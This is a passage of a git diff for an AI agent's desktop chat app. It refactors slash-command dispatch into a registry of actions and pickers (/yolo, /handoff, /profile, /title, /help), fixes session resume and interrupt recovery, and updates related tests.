+ return
+ }
+
+ if (dispatch.type === 'skill') {
+ renderSlashOutput(`⚡ loading skill: ${dispatch.name}`)
+ }
+
+ if (busyRef.current) {
+ renderSlashOutput('session busy — /interrupt the current turn before sending this command')
+
+ return
+ }
+
+ await submitPromptText(message)
+ } catch (err) {
+ renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+ }
+ }
+
+ // One handler per `action` command. Adding a desktop-native command is a
+ // registry row in desktop-slash-commands.ts plus an entry here — never a
+ // new branch in a dispatch ladder.
+ const actionHandlers: Record Promise> = {
+ new: async () => {
+ startFreshSessionDraft()
+ },
+ branch: async () => {
+ await branchCurrentSession()
+ },
// /yolo maps to the status-bar YOLO control — a per-session approval
// bypass, same scope as the TUI's Shift+Tab. With no session yet we arm
// it locally; the session-create path applies it on the first message.
- if (normalizedName === 'yolo') {
+ yolo: async ({ sessionHint }) => {
const sid = sessionHint || activeSessionIdRef.current
const next = !$yoloActive.get()
@@ -618,72 +957,44 @@ export function usePromptActions({
} catch {
notify({ kind: 'error', title: copy.yoloTitle, message: copy.yoloToggleFailed })
}
+ },
+ // /handoff hands this session to a messaging platform. The platform is
+ // completed inline in the slash popover (backend _handoff_completions),
+ // so there is no overlay: `/handoff ` runs the desktop's own
+ // handoff RPC. cli_only on the backend, so it must not reach slash.exec.
+ handoff: async ({ arg, command, recordInput, sessionHint }) => {
+ const platform = arg.trim()
- return
- }
-
- // /model opens the desktop model picker overlay — the same full
- // provider+model picker reachable from the status-bar model button —
- // instead of the headless prompt_toolkit modal the slash worker can't
- // render. With explicit args (`/model [--provider ...]`) run the
- // switch directly through slash.exec so power users can still type it.
- if (isModelPickerCommand(`/${normalizedName}`)) {
- if (!arg.trim()) {
- setModelPickerOpen(true)
+ if (!platform) {
+ notify({ kind: 'success', message: copy.handoff.pickPlatform })
return
}
- const sid = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
+ const sid = sessionHint || activeSessionIdRef.current
if (!sid) {
- notify({ kind: 'error', title: 'Session unavailable', message: 'Could not create a new session' })
+ notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
return
}
- try {
- const result = await requestGateway('slash.exec', {
- session_id: sid,
- command: command.replace(/^\/+/, '')
- })
+ const result = await handoffSession(platform, { sessionId: sid })
- const body = result?.output || `/${name}: model switched`
- appendSessionTextMessage(
- sid,
- 'system',
- recordInput ? slashStatusText(command, body) : body
- )
- } catch (err) {
- appendSessionTextMessage(
- sid,
- 'system',
- `error: ${err instanceof Error ? err.message : String(err)}`
- )
+ if (!result.ok && result.error) {
+ appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, result.error) : result.error)
}
-
- return
- }
-
- if (normalizedName === 'skin' && !sessionHint && !activeSessionIdRef.current) {
- notify({ kind: 'success', message: handleSkinCommand(arg) })
-
- return
- }
-
+ },
// /profile selects which profile new chats open in — no app relaunch.
// A profile is per-session now, so an existing thread can't change its
- // profile mid-stream; `/profile ` instead points the next new chat
- // (and the current empty draft) at that profile's backend.
- if (normalizedName === 'profile') {
+ // profile mid-stream; `/profile ` points the next new chat (and
+ // the current empty draft) at that profile's backend.
+ profile: async ({ arg }) => {
const target = arg.trim()
const current = normalizeProfileKey($activeGatewayProfile.get())
if (!target) {
- notify({
- kind: 'success',
- message: copy.profileStatus(current)
- })
+ notify({ kind: 'success', message: copy.profileStatus(current) })
return
}
@@ -705,54 +1016,46 @@ export function usePromptActions({
const key = normalizeProfileKey(match.name)
$newChatProfile.set(key)
- // Swap the live gateway now so an empty draft sends into this
- // profile immediately; an existing thread keeps its own profile.
await ensureGatewayProfile(key)
notify({ kind: 'success', message: copy.newChatsProfile(match.name) })
} catch (err) {
notifyError(err, copy.setProfileFailed)
}
+ },
+ skin: async ({ arg, command, recordInput, sessionHint }) => {
+ const sid = sessionHint || activeSessionIdRef.current
+ const message = handleSkinCommand(arg)
- return
- }
+ // No session to print into yet — surface it as a toast instead of
+ // spinning up a backend session just to change the theme.
+ if (!sid) {
+ notify({ kind: 'success', message })
- const sessionId = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
+ return
+ }
- if (!sessionId) {
- notify({
- kind: 'error',
- title: copy.sessionUnavailable,
- message: copy.createSessionFailed
- })
+ appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, message) : message)
+ },
+ // /title renames via the gateway's session.title RPC — the same
+ // path the TUI uses, NOT REST renameSession (which 404s on runtime ids)
+ // nor the slash worker (whose DB write can silently fail). Bare /title
+ // shows the current title, which the worker owns, so delegate to exec.
+ title: async ctx => {
+ if (!ctx.arg) {
+ await runExec(ctx)
- return
- }
+ return
+ }
+
+ const resolved = await withSlashOutput(ctx)
+
+ if (!resolved) {
+ return
+ }
+
+ const { render: renderSlashOutput, sessionId } = resolved
+ const { arg } = ctx
- const renderSlashOutput = (text: string) =>
- appendSessionTextMessage(sessionId, 'system', recordInput ? slashStatusText(command, text) : text)
-
- // /title renames the session. Route through the gateway's
- // `session.title` RPC — the same path the TUI uses — NOT the REST
- // renameSession endpoint and NOT the slash worker.
- //
- // Why not the slash worker: it's a separate HermesCLI subprocess whose
- // SQLite write to the shared state.db can silently fail (notably on
- // Windows), and it never refreshes the sidebar.
- //
- // Why not REST renameSession: `sessionId` here is the *runtime* session
- // id returned by session.create — it is NOT the stored DB `sessions.id`,
- // and session.create deliberately does not persist a DB row until the
- // first turn. The REST PATCH endpoint resolves against the sessions
- // table, so a runtime id (or a brand-new, not-yet-persisted session)
- // 404s with "Session not found" on every platform. See #38508 / #38576.
- //
- // session.title maps the runtime id to the in-memory session, writes
- // through the gateway's own DB connection, and QUEUES the title
- // (`pending: true`) when the row isn't persisted yet — so it works for a
- // fresh chat too. refreshSessions() then pulls the authoritative title
- // back into the sidebar. A bare `/title` (no arg) still falls through to
- // the worker to display the current title.
- if (normalizedName === 'title' && arg) {
try {
const result = await requestGateway('session.title', {
session_id: sessionId,
@@ -772,17 +1075,16 @@ export function usePromptActions({
} catch (err) {
renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
}
+ },
+ help: async ctx => {
+ const resolved = await withSlashOutput(ctx)
- return
- }
-
- if (normalizedName === 'skin') {
- renderSlashOutput(handleSkinCommand(arg))
+ if (!resolved) {
+ return
+ }
- return
- }
+ const { render: renderSlashOutput, sessionId } = resolved
- if (name === 'help' || name === 'commands') {
try {
const catalog = await requestGateway('commands.catalog', { session_id: sessionId })
@@ -790,80 +1092,93 @@ export function usePromptActions({
} catch (err) {
renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
}
-
- return
}
+ }
- if (!isDesktopSlashCommand(name)) {
- renderSlashOutput(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
+ // Picker commands open a desktop overlay; a typed arg is resolved by that
+ // picker so the command never dead-ends or falls through to the backend.
+ const openPicker = async (pickerId: DesktopPickerId, ctx: SlashActionCtx): Promise => {
+ if (pickerId === 'model') {
+ if (!ctx.arg.trim()) {
+ setModelPickerOpen(true)
+
+ return
+ }
+
+ // Power users can still type `/model ` — run it on the backend.
+ await runExec(ctx)
return
}
- try {
- const result = await requestGateway('slash.exec', {
- session_id: sessionId,
- command: command.replace(/^\/+/, '')
- })
+ // session picker — /resume, /sessions, /switch
+ const query = ctx.arg.trim()
- const body = result?.output || `/${name}: no output`
- renderSlashOutput(result?.warning ? `warning: ${result.warning}\n${body}` : body)
+ if (!query) {
+ setSessionPickerOpen(true)
return
- } catch {
- // Fall back to command.dispatch for skill/send/alias directives.
}
- try {
- const dispatch = parseCommandDispatch(
- await requestGateway('command.dispatch', {
- session_id: sessionId,
- name,
- arg
- })
- )
-
- if (!dispatch) {
- renderSlashOutput('error: invalid response: command.dispatch')
+ const sessions = $sessions.get()
+ const lower = query.toLowerCase()
- return
- }
+ const match =
+ sessions.find(session => session.id === query) ||
+ sessions.find(session => sessionTitle(session).toLowerCase().includes(lower)) ||
+ sessions.find(session => (session.preview ?? '').toLowerCase().includes(lower))
- if (dispatch.type === 'exec' || dispatch.type === 'plugin') {
- renderSlashOutput(dispatch.output ?? '(no output)')
+ if (!match) {
+ if (isSessionIdCandidate(query)) {
+ await resumeStoredSession(query)
return
}
- if (dispatch.type === 'alias') {
- await runSlash(`/${dispatch.target}${arg ? ` ${arg}` : ''}`, sessionId, false)
+ notify({ kind: 'error', message: copy.resumeFailed })
- return
- }
+ return
+ }
- const message = ('message' in dispatch ? dispatch.message : '')?.trim() ?? ''
+ await resumeStoredSession(match.id)
+ }
- if (!message) {
- renderSlashOutput(
- `/${name}: ${dispatch.type === 'skill' ? 'skill payload missing message' : 'empty message'}`
- )
+ // The whole dispatcher: resolve the command's desktop surface, then act on
+ // its kind. No per-command ladder — behavior lives in the registry.
+ async function runSlash(commandText: string, sessionHint?: string, recordInput = true): Promise {
+ const command = commandText.trim()
+ const { name, arg } = parseSlashCommand(command)
- return
- }
+ if (!name) {
+ const sessionId = await ensureSessionId(sessionHint)
- if (dispatch.type === 'skill') {
- renderSlashOutput(`⚡ loading skill: ${dispatch.name}`)
+ if (sessionId) {
+ appendSessionTextMessage(sessionId, 'system', copy.emptySlashCommand)
}
- if (busyRef.current) {
- renderSlashOutput('session busy — /interrupt the current turn before sending this command')
+ return
+ }
+
+ const ctx: SlashActionCtx = { arg, command, name, recordInput, sessionHint }
+ const surface = resolveDesktopCommand(`/${name}`)?.surface
+
+ switch (surface?.kind) {
+ case 'unavailable': {
+ const resolved = await withSlashOutput(ctx)
+ resolved?.render(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
return
}
- await submitPromptText(message)
- } catch (err) {
- renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+ case 'picker':
+ return openPicker(surface.picker, ctx)
+
+ case 'action':
+ return actionHandlers[surface.action](ctx)
+
+ default:
+ // exec spec, or an unknown skill / quick command the backend owns.
+ return runExec(ctx)
}
}
@@ -877,8 +1192,10 @@ export function usePromptActions({
copy,
createBackendSessionForSend,
handleSkinCommand,
+ handoffSession,
refreshSessions,
requestGateway,
+ resumeStoredSession,
startFreshSessionDraft,
submitPromptText
]
@@ -960,11 +1277,39 @@ export function usePromptActions({
try {
await requestGateway('session.interrupt', { session_id: sessionId })
} catch (err) {
+ let stopError = err
+
+ if (isSessionNotFoundError(err) && selectedStoredSessionIdRef.current) {
+ try {
+ const resumed = await requestGateway<{ session_id: string }>('session.resume', {
+ session_id: selectedStoredSessionIdRef.current
+ })
+ const recoveredId = resumed?.session_id
+
+ if (recoveredId) {
+ activeSessionIdRef.current = recoveredId
+ await requestGateway('session.interrupt', { session_id: recoveredId })
+
+ return
+ }
+ } catch (resumeErr) {
+ stopError = resumeErr
+ }
+ }
+
setMutableRef(busyRef, false)
setBusy(false)
- notifyError(err, copy.stopFailed)
+ notifyError(stopError, copy.stopFailed)
}
- }, [activeSessionId, activeSessionIdRef, busyRef, copy.stopFailed, requestGateway, updateSessionState])
+ }, [
+ activeSessionId,
+ activeSessionIdRef,
+ busyRef,
+ copy.stopFailed,
+ requestGateway,
+ selectedStoredSessionIdRef,
+ updateSessionState
+ ])
// Steer = nudge the live turn without interrupting: the gateway appends the
// text to the next tool result so the model reads it on its next iteration
@@ -1187,6 +1532,7 @@ export function usePromptActions({
cancelRun,
editMessage,
handleThreadMessagesChange,
+ handoffSession,
reloadFromMessage,
steerPrompt,
submitText,
diff --git a/apps/desktop/src/app/session/hooks/use-route-resume.test.tsx b/apps/desktop/src/app/session/hooks/use-route-resume.test.tsx
index d0f14f13b134..e0d984c37f5c 100644
--- a/apps/desktop/src/app/session/hooks/use-route-resume.test.tsx
+++ b/apps/desktop/src/app/session/hooks/use-route-resume.test.tsx
@@ -84,6 +84,60 @@ describe('useRouteResume', () => {
expect(resumeSession).not.toHaveBeenCalled()
})
+ it('self-heals a stranded routed session (null selected/active, same pathname, not a fresh draft)', () => {
+ const resumeSession = vi.fn(async () => undefined)
+ const startFreshSessionDraft = vi.fn()
+ const activeSessionIdRef: MutableRefObject = { current: 'runtime-1' }
+ const creatingSessionRef = { current: false }
+ const runtimeIdByStoredSessionIdRef = { current: new Map([['session-1', 'runtime-1']]) }
+ const selectedStoredSessionIdRef: MutableRefObject = { current: 'session-1' }
+
+ const { rerender } = render(
+
+ )
+
+ expect(resumeSession).not.toHaveBeenCalled()
+
+ // A create/stream race nulls selected/active but the route stays on the
+ // session and freshDraftReady is false (NOT a new-chat transition).
+ activeSessionIdRef.current = null
+ selectedStoredSessionIdRef.current = null
+ rerender(
+
+ )
+
+ expect(resumeSession).toHaveBeenCalledTimes(1)
+ expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+ })
+
it('resumes when pathname changes to a routed session', () => {
const resumeSession = vi.fn(async () => undefined)
const startFreshSessionDraft = vi.fn()
@@ -133,4 +187,72 @@ describe('useRouteResume', () => {
expect(resumeSession).toHaveBeenCalledTimes(1)
expect(resumeSession).toHaveBeenCalledWith('session-2', true)
})
+
+ it('resumes the selected route again when the gateway reconnects', () => {
+ const resumeSession = vi.fn(async () => undefined)
+ const startFreshSessionDraft = vi.fn()
+ const activeSessionIdRef: MutableRefObject = { current: 'runtime-1' }
+ const creatingSessionRef = { current: false }
+ const runtimeIdByStoredSessionIdRef = { current: new Map([['session-1', 'runtime-1']]) }
+ const selectedStoredSessionIdRef: MutableRefObject = { current: 'session-1' }
+
+ const { rerender } = render(
+
+ )
+
+ expect(resumeSession).not.toHaveBeenCalled()
+
+ rerender(
+
+ )
+
+ rerender(
+
+ )
+
+ expect(resumeSession).toHaveBeenCalledTimes(1)
+ expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+ })
})
diff --git a/apps/desktop/src/app/session/hooks/use-route-resume.ts b/apps/desktop/src/app/session/hooks/use-route-resume.ts
index 9f6fc5e3d55a..ad7677cc4b5f 100644
--- a/apps/desktop/src/app/session/hooks/use-route-resume.ts
+++ b/apps/desktop/src/app/session/hooks/use-route-resume.ts
@@ -56,13 +56,19 @@ export function useRouteResume({
startFreshSessionDraft
}: RouteResumeOptions) {
const lastPathnameRef = useRef(null)
+ const seenGatewayStateRef = useRef(false)
const wasGatewayOpenRef = useRef(false)
useEffect(() => {
const gatewayOpen = gatewayState === 'open'
const pathnameChanged = lastPathnameRef.current !== locationPathname
- const gatewayBecameOpen = !wasGatewayOpenRef.current && gatewayOpen
+ // Fire only on a genuine closed->open transition (a reconnect). seenGatewayStateRef
+ // stays false until the first effect run, so a session that mounts with the gateway
+ // already open is not mistaken for "became open" and does not double-resume with the
+ // pathname-driven initial resume below.
+ const gatewayBecameOpen = seenGatewayStateRef.current && !wasGatewayOpenRef.current && gatewayOpen
lastPathnameRef.current = locationPathname
+ seenGatewayStateRef.current = true
wasGatewayOpenRef.current = gatewayOpen
if (currentView !== 'chat' || !gatewayOpen) {
@@ -77,12 +83,33 @@ export function useRouteResume({
Boolean(cachedRuntime) &&
cachedRuntime === activeSessionIdRef.current
- // Resume only when the route meaningfully changed (or gateway just opened).
- // This avoids a transient /:sid re-resume during "new chat" state clears
+ // Self-heal a desynced view: the route points at a session that isn't the
+ // loaded one. A create/stream race can leave selected/active null while
+ // the route stays on /:sid (symptom: brand-new chat shows "Thinking" then
+ // an empty transcript even though the turn completed and persisted). The
+ // pathname didn't change, so the normal gate would skip and the view stays
+ // stuck empty forever. selectedStoredSessionIdRef is set synchronously at
+ // resume entry, so this can't loop; the resume's cached fast-path restores
+ // the already-streamed messages without a refetch.
+ //
+ // Crucially this must NOT fire during a /:sid -> /new transition, where
+ // startFreshSessionDraft nulls selected/active one render before the
+ // pathname flips to / (same null+/:sid signature). freshDraftReady is the
+ // discriminator: it's true while heading into a blank new chat, false when
+ // genuinely stranded on a routed session.
+ const stuckOnRoutedSession = routedSessionId !== selectedStoredSessionIdRef.current && !freshDraftReady
+
+ // Resume when the route meaningfully changed, the gateway just opened, or
+ // we're stranded on a routed session that never loaded. The first two
+ // guard against a transient /:sid re-resume during "new chat" state clears
// before the pathname updates from /:sid -> /.
- const shouldResume = pathnameChanged || gatewayBecameOpen
+ const shouldResume = pathnameChanged || gatewayBecameOpen || stuckOnRoutedSession
- if (!alreadyActive && shouldResume && !creatingSessionRef.current) {
+ // On a reconnect (gatewayBecameOpen) re-resume even when the route looks
+ // `alreadyActive`: the cached runtime id can be stale once the gateway
+ // rebinds/reaps the session on its side, and trusting it strands Desktop on
+ // a dead id ("session not found"). Otherwise keep skipping when already active.
+ if ((gatewayBecameOpen || !alreadyActive) && shouldResume && !creatingSessionRef.current) {
void resumeSession(routedSessionId, true)
}
diff --git a/apps/desktop/src/app/session/hooks/use-session-actions.ts b/apps/desktop/src/app/session/hooks/use-session-actions.ts
index ca39d778537e..15f3ef41f1f3 100644
--- a/apps/desktop/src/app/session/hooks/use-session-actions.ts
+++ b/apps/desktop/src/app/session/hooks/use-session-actions.ts
@@ -2,13 +2,12 @@ import type { MutableRefObject } from 'react'
import { useCallback, useRef } from 'react'
import type { NavigateFunction } from 'react-router-dom'
-import { deleteSession, getSessionMessages, setSessionArchived } from '@/hermes'
+import { deleteSession, getSessionMessages, listAllProfileSessions, setSessionArchived } from '@/hermes'
import { useI18n } from '@/i18n'
import { type ChatMessage, chatMessageText, preserveLocalAssistantErrors, toChatMessages } from '@/lib/chat-messages'
import { normalizePersonalityValue } from '@/lib/chat-runtime'
import { embeddedImageUrls, textWithoutEmbeddedImages } from '@/lib/embedded-images'
import { setSessionYolo } from '@/lib/yolo-session'
-import { clearComposerAttachments, clearComposerDraft } from '@/store/composer'
import { clearQueuedPrompts } from '@/store/composer-queue'
import { $pinnedSessionIds } from '@/store/layout'
import { clearNotifications, notify, notifyError } from '@/store/notifications'
@@ -19,7 +18,7 @@ import {
$messages,
$sessions,
$yoloActive,
- getRememberedWorkspaceCwd,
+ sessionMatchesStoredId,
sessionPinId,
setActiveSessionId,
setAwaitingResponse,
@@ -41,10 +40,11 @@ import {
setSessionStartedAt,
setSessionsTotal,
setTurnStartedAt,
- setYoloActive
+ setYoloActive,
+ workspaceCwdForNewSession
} from '@/store/session'
import { reportBackendContract } from '@/store/updates'
-import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, UsageStats } from '@/types/hermes'
+import type { SessionCreateResponse, SessionInfo, SessionResumeResponse, SessionRuntimeInfo, UsageStats } from '@/types/hermes'
import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
import type { ClientSessionState, SidebarNavItem } from '../../types'
@@ -210,14 +210,63 @@ function patchSessionWorkspace(sessionId: string, cwd: string | undefined) {
setSessions(prev => prev.map(session => (session.id === sessionId ? { ...session, cwd } : session)))
}
-function applyRuntimeInfo(
- info: SessionCreateResponse['info'] | undefined
-): Partial> | null {
+function upsertResolvedSession(session: SessionInfo, storedSessionId: string) {
+ const lineage = session._lineage_root_id ?? session.id
+
+ setSessions(prev => [
+ session,
+ ...prev.filter(existing => {
+ if (sessionMatchesStoredId(existing, storedSessionId)) {
+ return false
+ }
+
+ return (existing._lineage_root_id ?? existing.id) !== lineage
+ })
+ ])
+}
+
+async function resolveStoredSession(storedSessionId: string): Promise {
+ const cached = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+
+ if (cached) {
+ return cached
+ }
+
+ try {
+ const result = await listAllProfileSessions(500, 0, 'include', 'recent', 'all')
+ const resolved = result.sessions.find(session => sessionMatchesStoredId(session, storedSessionId))
+
+ if (resolved) {
+ upsertResolvedSession(resolved, storedSessionId)
+ }
+
+ return resolved
+ } catch {
+ return undefined
+ }
+}
+
+type SessionRuntimeStatePatch = Partial<
+ Pick<
+ ClientSessionState,
+ | 'branch'
+ | 'cwd'
+ | 'fast'
+ | 'model'
+ | 'personality'
+ | 'provider'
+ | 'reasoningEffort'
+ | 'serviceTier'
+ | 'yolo'
+ >
+>
+
+function applyRuntimeInfo(info: SessionRuntimeInfo | undefined): SessionRuntimeStatePatch | null {
if (!info) {
return null
}
- const sessionState: Partial> = {}
+ const sessionState: SessionRuntimeStatePatch = {}
reportBackendContract(info.desktop_contract)
@@ -225,12 +274,14 @@ function applyRuntimeInfo(
requestDesktopOnboarding(info.credential_warning)
}
- if (info.model) {
+ if (typeof info.model === 'string') {
setCurrentModel(info.model)
+ sessionState.model = info.model
}
- if (info.provider) {
+ if (typeof info.provider === 'string') {
setCurrentProvider(info.provider)
+ sessionState.provider = info.provider
}
if (info.cwd) {
@@ -244,23 +295,29 @@ function applyRuntimeInfo(
}
if (typeof info.personality === 'string') {
- setCurrentPersonality(normalizePersonalityValue(info.personality))
+ const personality = normalizePersonalityValue(info.personality)
+ setCurrentPersonality(personality)
+ sessionState.personality = personality
}
if (typeof info.reasoning_effort === 'string') {
setCurrentReasoningEffort(info.reasoning_effort)
+ sessionState.reasoningEffort = info.reasoning_effort
}
if (typeof info.service_tier === 'string') {
setCurrentServiceTier(info.service_tier)
+ sessionState.serviceTier = info.service_tier
}
if (typeof info.fast === 'boolean') {
setCurrentFastMode(info.fast)
+ sessionState.fast = info.fast
}
if (typeof info.yolo === 'boolean') {
setYoloActive(info.yolo)
+ sessionState.yolo = info.yolo
}
if (info.usage) {
@@ -270,6 +327,16 @@ function applyRuntimeInfo(
return sessionState
}
+function applyStoredSessionPreviewRuntimeInfo(stored: { model?: null | string } | undefined) {
+ setCurrentModel(stored?.model || '')
+ setCurrentProvider('')
+ setCurrentReasoningEffort('')
+ setCurrentServiceTier('')
+ setCurrentFastMode(false)
+ setYoloActive(false)
+ setCurrentPersonality('')
+}
+
export function useSessionActions({
activeSessionId,
activeSessionIdRef,
@@ -311,11 +378,17 @@ export function useSessionActions({
})
setSessionStartedAt(null)
setTurnStartedAt(null)
- // New chats inherit the current workspace.
- setCurrentCwd(getRememberedWorkspaceCwd())
+ // New chats start in the configured default project dir when set,
+ // otherwise the sticky last-used workspace (PR #37586).
+ setCurrentModel('')
+ setCurrentProvider('')
+ setCurrentReasoningEffort('')
+ setCurrentServiceTier('')
+ setCurrentFastMode(false)
+ setYoloActive(false)
+ setCurrentCwd(workspaceCwdForNewSession())
setCurrentBranch('')
- clearComposerDraft()
- clearComposerAttachments()
+ // Never clear the composer here — ChatBar's per-thread draft swap owns it.
setFreshDraftReady(true)
},
[activeSessionIdRef, busyRef, navigate, selectedStoredSessionIdRef]
@@ -333,15 +406,17 @@ export function useSessionActions({
// Route the new chat to the chosen profile's backend (null = primary,
// so single-profile users are unaffected).
await ensureGatewayProfile($newChatProfile.get())
- const cwd = $currentCwd.get().trim() || getRememberedWorkspaceCwd()
+ const cwd = $currentCwd.get().trim() || workspaceCwdForNewSession()
// Pass the owning profile so a new chat under a non-launch profile (global
// remote mode) builds its agent + persists against THAT profile's home/db.
const newChatProfile = $newChatProfile.get()
+
const created = await requestGateway('session.create', {
cols: 96,
...(cwd && { cwd }),
...(newChatProfile ? { profile: newChatProfile } : {})
})
+
const stored = created.stored_session_id ?? null
if (
@@ -442,26 +517,42 @@ export function useSessionActions({
// Swap the single live gateway to this session's profile before any
// gateway call (no-op when it's already on that profile / single-profile).
- const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
+ const storedForProfile = await resolveStoredSession(storedSessionId)
const sessionProfile = storedForProfile?.profile
+
+ if (resumeRequestRef.current !== requestId) {
+ return
+ }
+
await ensureGatewayProfile(sessionProfile)
const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
const cachedState = cachedRuntimeId && sessionStateByRuntimeIdRef.current.get(cachedRuntimeId)
if (cachedRuntimeId && cachedState) {
+ const stored = $sessions.get().find(session => session.id === storedSessionId)
+ const cachedViewState =
+ !cachedState.model && stored?.model != null
+ ? {
+ ...cachedState,
+ model: stored.model || ''
+ }
+ : cachedState
+
+ if (cachedViewState !== cachedState) {
+ sessionStateByRuntimeIdRef.current.set(cachedRuntimeId, cachedViewState)
+ }
+
setFreshDraftReady(false)
clearNotifications()
setSelectedStoredSessionId(storedSessionId)
selectedStoredSessionIdRef.current = storedSessionId
setActiveSessionId(cachedRuntimeId)
activeSessionIdRef.current = cachedRuntimeId
- syncSessionStateToView(cachedRuntimeId, cachedState)
- setCurrentCwd(cachedState.cwd)
- setCurrentBranch(cachedState.branch)
+ syncSessionStateToView(cachedRuntimeId, cachedViewState)
+ setCurrentCwd(cachedViewState.cwd)
+ setCurrentBranch(cachedViewState.branch)
setSessionStartedAt(Date.now())
- clearComposerDraft()
- clearComposerAttachments()
try {
const usage = await requestGateway('session.usage', { session_id: cachedRuntimeId })
@@ -500,7 +591,8 @@ export function useSessionActions({
setSelectedStoredSessionId(storedSessionId)
selectedStoredSessionIdRef.current = storedSessionId
setSessionStartedAt(Date.now())
- const stored = $sessions.get().find(session => session.id === storedSessionId)
+ const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+ applyStoredSessionPreviewRuntimeInfo(stored)
if (stored) {
setCurrentUsage(current => ({
@@ -591,8 +683,6 @@ export function useSessionActions({
}),
storedSessionId
)
- clearComposerDraft()
- clearComposerAttachments()
} catch (err) {
if (!isCurrentResume()) {
return
@@ -715,8 +805,6 @@ export function useSessionActions({
selectedStoredSessionIdRef.current = routedSessionId
navigate(sessionRoute(routedSessionId))
- clearComposerDraft()
- clearComposerAttachments()
const runtimeInfo = applyRuntimeInfo(branched.info)
patchSessionWorkspace(routedSessionId, runtimeInfo?.cwd)
@@ -753,7 +841,7 @@ export function useSessionActions({
async (storedSessionId: string) => {
clearNotifications()
- const removed = $sessions.get().find(s => s.id === storedSessionId)
+ const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
const wasSelected = selectedStoredSessionId === storedSessionId
const closingRuntimeId = wasSelected ? activeSessionId : null
const previousMessages = $messages.get()
@@ -762,7 +850,7 @@ export function useSessionActions({
// live tip after compression. Drop both so the pin can't linger.
const removedPinId = removed ? sessionPinId(removed) : storedSessionId
- setSessions(prev => prev.filter(s => s.id !== storedSessionId))
+ setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
// Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
// doesn't keep claiming the removed row is still on the server.
setSessionsTotal(prev => Math.max(0, prev - 1))
@@ -782,6 +870,13 @@ export function useSessionActions({
await deleteSession(storedSessionId, removed?.profile)
clearQueuedPrompts(storedSessionId)
+ // Refresh from server so the sidebar doesn't keep claiming
+ // the removed row exists until the next full refresh cycle.
+ const sessionProfile = normalizeProfileKey(removed?.profile)
+ const refreshResult = await listAllProfileSessions(200, 1, 'exclude', 'recent', sessionProfile === 'default' ? 'all' : sessionProfile)
+ setSessions(refreshResult.sessions)
+ setSessionsTotal(refreshResult.total ?? refreshResult.sessions.length)
+
if (closingRuntimeId) {
clearQueuedPrompts(closingRuntimeId)
}
@@ -797,7 +892,7 @@ export function useSessionActions({
setFreshDraftReady(false)
setSelectedStoredSessionId(storedSessionId)
selectedStoredSessionIdRef.current = storedSessionId
- const stored = $sessions.get().find(session => session.id === storedSessionId)
+ const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
if (stored) {
setCurrentUsage(current => ({
@@ -836,7 +931,7 @@ export function useSessionActions({
async (storedSessionId: string) => {
clearNotifications()
- const archived = $sessions.get().find(s => s.id === storedSessionId)
+ const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
const wasSelected = selectedStoredSessionId === storedSessionId
const previousPinned = $pinnedSessionIds.get()
// Pins are keyed on the durable lineage-root id; the stored id may be the
@@ -844,7 +939,7 @@ export function useSessionActions({
const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
// Soft-hide: drop from the sidebar immediately, keep the data.
- setSessions(prev => prev.filter(s => s.id !== storedSessionId))
+ setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
// Archived sessions are hidden by the listSessions(min_messages=1) query
// on the next refresh, so they count as "removed" for the load-more
// footer math.
@@ -857,10 +952,16 @@ export function useSessionActions({
try {
await setSessionArchived(storedSessionId, true, archived?.profile)
+ // A sidebar refresh can race the optimistic removal while the PATCH is
+ // in flight and briefly reinsert the still-unarchived backend row. Win
+ // that race after the mutation succeeds so right-click → Archive does
+ // not appear to do nothing until the next full refresh.
+ setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+ $pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
} catch (err) {
if (archived) {
- setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
+ setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
setSessionsTotal(prev => prev + 1)
}
diff --git a/apps/desktop/src/app/session/hooks/use-session-state-cache.test.tsx b/apps/desktop/src/app/session/hooks/use-session-state-cache.test.tsx
index e865205d828d..e2a973582731 100644
--- a/apps/desktop/src/app/session/hooks/use-session-state-cache.test.tsx
+++ b/apps/desktop/src/app/session/hooks/use-session-state-cache.test.tsx
@@ -2,7 +2,20 @@ import { act, cleanup, render } from '@testing-library/react'
import type { MutableRefObject } from 'react'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { $turnStartedAt, setTurnStartedAt } from '@/store/session'
+import {
+ $currentFastMode,
+ $currentModel,
+ $currentProvider,
+ $currentReasoningEffort,
+ $currentServiceTier,
+ $turnStartedAt,
+ setCurrentFastMode,
+ setCurrentModel,
+ setCurrentProvider,
+ setCurrentReasoningEffort,
+ setCurrentServiceTier,
+ setTurnStartedAt
+} from '@/store/session'
import { useSessionStateCache } from './use-session-state-cache'
@@ -46,12 +59,22 @@ describe('useSessionStateCache — per-session turn timer', () => {
return null as unknown as number
})
setTurnStartedAt(null)
